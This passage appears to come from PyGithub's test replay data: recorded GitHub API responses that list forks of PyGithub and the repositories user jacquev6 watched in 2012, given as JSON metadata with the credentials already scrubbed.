v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/abersager/PyGithub.git","git_url":"git://github.com/abersager/PyGithub.git","created_at":"2012-08-07T03:21:09Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:19Z","full_name":"abersager/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","mirror_url":null,"ssh_url":"git@github.com:abersager/PyGithub.git","html_url":"https://github.com/abersager/PyGithub","private":false,"id":3831162,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/abersager/PyGithub","pushed_at":"2012-03-26T10:05:31Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"The Web framework for perfectionists with deadlines. Now on GitHub.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","created_at":null,"has_wiki":false,"watchers_count":2,"watchers":2,"open_issues_count":0,"size":48476,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-09T10:37:50Z","full_name":"jacquev6/django","name":"django","url":"https://api.github.com/repos/jacquev6/django","mirror_url":null,"ssh_url":"git@github.com:jacquev6/django.git","html_url":"https://github.com/jacquev6/django","private":false,"id":4166730,"language":"Python","homepage":"http://www.djangoproject.com/","svn_url":"https://github.com/jacquev6/django","pushed_at":"2012-04-28T04:05:15Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Un outil pour ceux qui aiment voir plusieurs films le même jour","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/CinePlanning.git","git_url":"git://github.com/jacquev6/CinePlanning.git","created_at":"2012-08-07T03:23:19Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":5,"size":240,"fork":false,"open_issues":5,"has_issues":true,"updated_at":"2012-06-17T05:55:59Z","full_name":"jacquev6/CinePlanning","name":"CinePlanning","url":"https://api.github.com/repos/jacquev6/CinePlanning","mirror_url":null,"ssh_url":"git@github.com:jacquev6/CinePlanning.git","html_url":"https://github.com/jacquev6/CinePlanning","private":false,"id":4627544,"language":"Python","homepage":"http://vincent-jacques.net/CinePlanning","svn_url":"https://github.com/jacquev6/CinePlanning","pushed_at":"2012-06-17T05:55:58Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"3aa27c0add742f542848af3b8a9e980c","login":"pmuilu","avatar_url":"https://secure.gravatar.com/avatar/3aa27c0add742f542848af3b8a9e980c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/pmuilu","id":691799},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/pmuilu/PyGithub.git","git_url":"git://github.com/pmuilu/PyGithub.git","created_at":"2012-08-07T03:21:41Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:44Z","full_name":"pmuilu/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/pmuilu/PyGithub","mirror_url":null,"ssh_url":"git@github.com:pmuilu/PyGithub.git","html_url":"https://github.com/pmuilu/PyGithub","private":false,"id":4716322,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/pmuilu/PyGithub","pushed_at":"2012-06-19T16:50:37Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"85203b21c562062e5641f0b8d4b98d9b","login":"herlo","avatar_url":"https://secure.gravatar.com/avatar/85203b21c562062e5641f0b8d4b98d9b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/herlo","id":89334},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/herlo/PyGithub.git","git_url":"git://github.com/herlo/PyGithub.git","created_at":"2012-08-07T03:21:47Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":164,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:47Z","full_name":"herlo/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/herlo/PyGithub","mirror_url":null,"ssh_url":"git@github.com:herlo/PyGithub.git","html_url":"https://github.com/herlo/PyGithub","private":false,"id":4720987,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/herlo/PyGithub","pushed_at":"2012-06-13T10:57:26Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"3ceac58506711008b9e93ad31fcb0f45","login":"roverdotcom","avatar_url":"https://secure.gravatar.com/avatar/3ceac58506711008b9e93ad31fcb0f45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/roverdotcom","id":1463288},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/roverdotcom/PyGithub.git","git_url":"git://github.com/roverdotcom/PyGithub.git","created_at":"2012-08-07T03:21:50Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":116,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:51Z","full_name":"roverdotcom/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/roverdotcom/PyGithub","mirror_url":null,"ssh_url":"git@github.com:roverdotcom/PyGithub.git","html_url":"https://github.com/roverdotcom/PyGithub","private":false,"id":4785693,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/roverdotcom/PyGithub","pushed_at":"2012-06-25T18:44:19Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/IpMap.git","git_url":"git://github.com/jacquev6/IpMap.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":2,"size":136,"fork":false,"open_issues":2,"has_issues":true,"updated_at":"2012-08-06T20:40:59Z","full_name":"jacquev6/IpMap","name":"IpMap","url":"https://api.github.com/repos/jacquev6/IpMap","mirror_url":null,"ssh_url":"git@github.com:jacquev6/IpMap.git","html_url":"https://github.com/jacquev6/IpMap","private":true,"id":4835930,"language":"JavaScript","homepage":"http://vincent-jacques.net/IpMap","svn_url":"https://github.com/jacquev6/IpMap","pushed_at":"2012-06-30T09:28:28Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"433a7fa3917a38691aa9914b61444875","login":"thouis","avatar_url":"https://secure.gravatar.com/avatar/433a7fa3917a38691aa9914b61444875?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/thouis","id":473043},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/thouis/PyGithub.git","git_url":"git://github.com/thouis/PyGithub.git","created_at":"2012-08-07T03:21:53Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:54Z","full_name":"thouis/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/thouis/PyGithub","mirror_url":null,"ssh_url":"git@github.com:thouis/PyGithub.git","html_url":"https://github.com/thouis/PyGithub","private":false,"id":4957672,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/thouis/PyGithub","pushed_at":"2012-07-09T12:42:19Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","login":"malexw","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/malexw","id":577322},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/malexw/PyGithub.git","git_url":"git://github.com/malexw/PyGithub.git","created_at":"2012-08-07T03:21:56Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:57Z","full_name":"malexw/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/malexw/PyGithub","mirror_url":null,"ssh_url":"git@github.com:malexw/PyGithub.git","html_url":"https://github.com/malexw/PyGithub","private":false,"id":4992915,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/malexw/PyGithub","pushed_at":"2012-07-11T18:11:24Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"37a932b3abe212892173784736ed6b12","login":"engie","avatar_url":"https://secure.gravatar.com/avatar/37a932b3abe212892173784736ed6b12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/engie","id":1247},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/engie/PyGithub.git","git_url":"git://github.com/engie/PyGithub.git","created_at":"2012-08-07T03:21:59Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":136,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:22:00Z","full_name":"engie/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/engie/PyGithub","mirror_url":null,"ssh_url":"git@github.com:engie/PyGithub.git","html_url":"https://github.com/engie/PyGithub","private":false,"id":5153069,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/engie/PyGithub","pushed_at":"2012-07-23T16:42:58Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"ffcbd195c843b902fcdaa9986a2a0116","login":"oangeor","avatar_url":"https://secure.gravatar.com/avatar/ffcbd195c843b902fcdaa9986a2a0116?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/oangeor","id":1707945},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/oangeor/PyGithub.git","git_url":"git://github.com/oangeor/PyGithub.git","created_at":"2012-08-07T03:22:03Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":1292,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:22:04Z","full_name":"oangeor/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/oangeor/PyGithub","mirror_url":null,"ssh_url":"git@github.com:oangeor/PyGithub.git","html_url":"https://github.com/oangeor/PyGithub","private":false,"id":5190054,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/oangeor/PyGithub","pushed_at":"2012-07-24T16:19:13Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"a62c07aeefe3d9cc2ba18861f7eeef7d","login":"alejo8591","avatar_url":"https://secure.gravatar.com/avatar/a62c07aeefe3d9cc2ba18861f7eeef7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/alejo8591","id":1151850},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/alejo8591/PyGithub.git","git_url":"git://github.com/alejo8591/PyGithub.git","created_at":"2012-08-07T03:22:07Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-04T07:01:31Z","full_name":"alejo8591/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/alejo8591/PyGithub","mirror_url":null,"ssh_url":"git@github.com:alejo8591/PyGithub.git","html_url":"https://github.com/alejo8591/PyGithub","private":false,"id":5293768,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/alejo8591/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"92a24b96be9d9ce5e608751cc0c95823","login":"jagster02","avatar_url":"https://secure.gravatar.com/avatar/92a24b96be9d9ce5e608751cc0c95823?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jagster02","id":1383412},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/jagster02/PyGithub.git","git_url":"git://github.com/jagster02/PyGithub.git","created_at":"2012-08-09T13:55:23Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-07T23:29:19Z","full_name":"jagster02/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jagster02/PyGithub","mirror_url":null,"ssh_url":"git@github.com:jagster02/PyGithub.git","html_url":"https://github.com/jagster02/PyGithub","private":false,"id":5334906,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jagster02/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"01f9109a647ef1dac0198da94d5dfc35","login":"cs2ctest","avatar_url":"https://secure.gravatar.com/avatar/01f9109a647ef1dac0198da94d5dfc35?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/cs2ctest","id":2108297},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/cs2ctest/PyGithub.git","git_url":"git://github.com/cs2ctest/PyGithub.git","created_at":"2012-08-09T19:56:03Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-09T09:00:55Z","full_name":"cs2ctest/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/cs2ctest/PyGithub","mirror_url":null,"ssh_url":"git@github.com:cs2ctest/PyGithub.git","html_url":"https://github.com/cs2ctest/PyGithub","private":false,"id":5353371,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/cs2ctest/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"83fdd59f80118ac8e56fd6f732239190","login":"feiying","avatar_url":"https://secure.gravatar.com/avatar/83fdd59f80118ac8e56fd6f732239190?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/feiying","id":1784180},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/feiying/PyGithub.git","git_url":"git://github.com/feiying/PyGithub.git","created_at":"2012-08-10T18:57:02Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-10T04:51:27Z","full_name":"feiying/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/feiying/PyGithub","mirror_url":null,"ssh_url":"git@github.com:feiying/PyGithub.git","html_url":"https://github.com/feiying/PyGithub","private":false,"id":5365056,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/feiying/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"13df3b204a5708ed557a07628ea00660","login":"tdcarrol","avatar_url":"https://secure.gravatar.com/avatar/13df3b204a5708ed557a07628ea00660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/tdcarrol","id":435947},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/tdcarrol/PyGithub.git","git_url":"git://github.com/tdcarrol/PyGithub.git","created_at":"2012-08-22T05:17:05Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-21T15:14:27Z","full_name":"tdcarrol/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/tdcarrol/PyGithub","mirror_url":null,"ssh_url":"git@github.com:tdcarrol/PyGithub.git","html_url":"https://github.com/tdcarrol/PyGithub","private":false,"id":5496795,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/tdcarrol/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","login":"xobb1t","avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/xobb1t","id":344095},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/xobb1t/PyGithub.git","git_url":"git://github.com/xobb1t/PyGithub.git","created_at":"2012-09-03T15:31:32Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":108,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-25T19:40:53Z","full_name":"xobb1t/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/xobb1t/PyGithub","mirror_url":null,"ssh_url":"git@github.com:xobb1t/PyGithub.git","html_url":"https://github.com/xobb1t/PyGithub","private":false,"id":5554026,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/xobb1t/PyGithub","pushed_at":"2012-08-25T19:40:53Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"ad620f78a113948d4ded151e3025a3b3","login":"braincorp","avatar_url":"https://secure.gravatar.com/avatar/ad620f78a113948d4ded151e3025a3b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/braincorp","id":2085477},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/braincorp/PyGithub.git","git_url":"git://github.com/braincorp/PyGithub.git","created_at":"2012-09-03T15:31:30Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":240,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-30T06:54:52Z","full_name":"braincorp/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/braincorp/PyGithub","mirror_url":null,"ssh_url":"git@github.com:braincorp/PyGithub.git","html_url":"https://github.com/braincorp/PyGithub","private":false,"id":5611539,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/braincorp/PyGithub","pushed_at":"2012-08-23T07:38:20Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","login":"gregwjacobs","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/gregwjacobs","id":1749292},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/gregwjacobs/PyGithub.git","git_url":"git://github.com/gregwjacobs/PyGithub.git","created_at":"2012-09-03T15:31:27Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":240,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-31T13:53:17Z","full_name":"gregwjacobs/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/gregwjacobs/PyGithub","mirror_url":null,"ssh_url":"git@github.com:gregwjacobs/PyGithub.git","html_url":"https://github.com/gregwjacobs/PyGithub","private":false,"id":5629305,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/gregwjacobs/PyGithub","pushed_at":"2012-08-23T07:38:20Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetWatched.txt0000644000175100001660000011522114756101563023522 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/watched {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '33830'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"dc4214d5110d198c04e9d1f182a77211"'), ('date', 'Sat, 26 May 2012 10:36:29 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"description":"Git Source Code Mirror - This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","full_name":"git/git","has_wiki":false,"has_issues":false,"updated_at":"2012-05-26T09:50:39Z","forks":544,"mirror_url":null,"homepage":"This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","ssh_url":"git@github.com:git/git.git","open_issues":5,"fork":false,"svn_url":"https://github.com/git/git","pushed_at":"2012-05-25T20:50:10Z","size":33788,"html_url":"https://github.com/git/git","private":false,"url":"https://api.github.com/repos/git/git","clone_url":"https://github.com/git/git.git","owner":{"gravatar_id":"878a0ea898da1701df8573ed64a5cc9d","avatar_url":"https://secure.gravatar.com/avatar/878a0ea898da1701df8573ed64a5cc9d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/git","login":"git","id":18133},"name":"git","has_downloads":true,"language":"C","watchers":2218,"git_url":"git://github.com/git/git.git","id":36502,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2008-07-23T14:21:26Z"},{"description":"Create your PHP extension in C++, in a minute.","full_name":"moriyoshi/boost.php","has_wiki":true,"has_issues":true,"updated_at":"2012-05-24T13:39:17Z","forks":4,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:moriyoshi/boost.php.git","open_issues":1,"fork":false,"svn_url":"https://github.com/moriyoshi/boost.php","pushed_at":"2009-12-15T14:07:47Z","size":1331,"html_url":"https://github.com/moriyoshi/boost.php","private":false,"url":"https://api.github.com/repos/moriyoshi/boost.php","clone_url":"https://github.com/moriyoshi/boost.php.git","owner":{"gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/moriyoshi","login":"moriyoshi","id":18755},"name":"boost.php","has_downloads":true,"language":"C++","watchers":47,"git_url":"git://github.com/moriyoshi/boost.php.git","id":38097,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2008-07-29T03:01:07Z"},{"description":"Remote multi-server automation tool","full_name":"capistrano/capistrano","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T10:18:16Z","forks":241,"mirror_url":null,"homepage":"http://capify.org","ssh_url":"git@github.com:capistrano/capistrano.git","open_issues":34,"fork":true,"svn_url":"https://github.com/capistrano/capistrano","pushed_at":"2012-05-10T15:17:56Z","size":236,"html_url":"https://github.com/capistrano/capistrano","private":false,"url":"https://api.github.com/repos/capistrano/capistrano","clone_url":"https://github.com/capistrano/capistrano.git","owner":{"gravatar_id":"885e1c523b7975c4003de162d8ee8fee","avatar_url":"https://secure.gravatar.com/avatar/885e1c523b7975c4003de162d8ee8fee?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/capistrano","login":"capistrano","id":58257},"name":"capistrano","has_downloads":false,"language":"Ruby","watchers":2272,"git_url":"git://github.com/capistrano/capistrano.git","id":138312,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-02-26T16:14:04Z"},{"description":"Still a proof of concept...","full_name":"moriyoshi/boost.perl","has_wiki":true,"has_issues":true,"updated_at":"2011-10-03T23:45:58Z","forks":0,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:moriyoshi/boost.perl.git","open_issues":0,"fork":false,"svn_url":"https://github.com/moriyoshi/boost.perl","pushed_at":"2010-05-28T07:23:06Z","size":512,"html_url":"https://github.com/moriyoshi/boost.perl","private":false,"url":"https://api.github.com/repos/moriyoshi/boost.perl","clone_url":"https://github.com/moriyoshi/boost.perl.git","owner":{"gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/moriyoshi","login":"moriyoshi","id":18755},"name":"boost.perl","has_downloads":true,"language":"C++","watchers":8,"git_url":"git://github.com/moriyoshi/boost.perl.git","id":163431,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-03-30T21:09:12Z"},{"description":"An experimental alternative to the git-submodule command. Merges and splits subtrees from your project into subprojects and back.","full_name":"apenwarr/git-subtree","has_wiki":false,"has_issues":false,"updated_at":"2012-05-25T23:20:17Z","forks":68,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:apenwarr/git-subtree.git","open_issues":11,"fork":false,"svn_url":"https://github.com/apenwarr/git-subtree","pushed_at":"2012-05-01T21:43:17Z","size":176,"html_url":"https://github.com/apenwarr/git-subtree","private":false,"url":"https://api.github.com/repos/apenwarr/git-subtree","clone_url":"https://github.com/apenwarr/git-subtree.git","owner":{"gravatar_id":"918b627daf7d848cd40770ed6cd15233","avatar_url":"https://secure.gravatar.com/avatar/918b627daf7d848cd40770ed6cd15233?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/apenwarr","login":"apenwarr","id":20592},"name":"git-subtree","has_downloads":true,"language":"Shell","watchers":604,"git_url":"git://github.com/apenwarr/git-subtree.git","id":185096,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-04-25T04:10:31Z"},{"description":"A git-hg utility for checking out and tracking a mercurial repo.","full_name":"cosmin/git-hg","has_wiki":true,"has_issues":true,"updated_at":"2012-05-25T18:28:12Z","forks":26,"mirror_url":null,"homepage":"http://offbytwo.github.com/git-hg","ssh_url":"git@github.com:cosmin/git-hg.git","open_issues":0,"fork":false,"svn_url":"https://github.com/cosmin/git-hg","pushed_at":"2012-04-15T18:55:55Z","size":224,"html_url":"https://github.com/cosmin/git-hg","private":false,"url":"https://api.github.com/repos/cosmin/git-hg","clone_url":"https://github.com/cosmin/git-hg.git","owner":{"gravatar_id":"a8d35490b4016275e5bc3cc6cce8f878","avatar_url":"https://secure.gravatar.com/avatar/a8d35490b4016275e5bc3cc6cce8f878?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/cosmin","login":"cosmin","id":1358},"name":"git-hg","has_downloads":true,"language":"Shell","watchers":152,"git_url":"git://github.com/cosmin/git-hg.git","id":201230,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-05-14T20:23:01Z"},{"description":"The missing package manager for OS X.","full_name":"mxcl/homebrew","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T09:05:57Z","forks":3990,"mirror_url":null,"homepage":"http://mxcl.github.com/homebrew","ssh_url":"git@github.com:mxcl/homebrew.git","open_issues":471,"fork":false,"svn_url":"https://github.com/mxcl/homebrew","pushed_at":"2012-05-26T04:25:41Z","size":4540,"html_url":"https://github.com/mxcl/homebrew","private":false,"url":"https://api.github.com/repos/mxcl/homebrew","clone_url":"https://github.com/mxcl/homebrew.git","owner":{"gravatar_id":"1510549f9353c9859b7b3c81872df09c","avatar_url":"https://secure.gravatar.com/avatar/1510549f9353c9859b7b3c81872df09c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/mxcl","login":"mxcl","id":58962},"name":"homebrew","has_downloads":false,"language":"Ruby","watchers":8726,"git_url":"git://github.com/mxcl/homebrew.git","id":206084,"permissions":{"admin":false,"pull":true,"push":false},"master_branch":"master","created_at":"2009-05-20T19:38:37Z"},{"description":"A library for generating Celtic Knotwork designs from 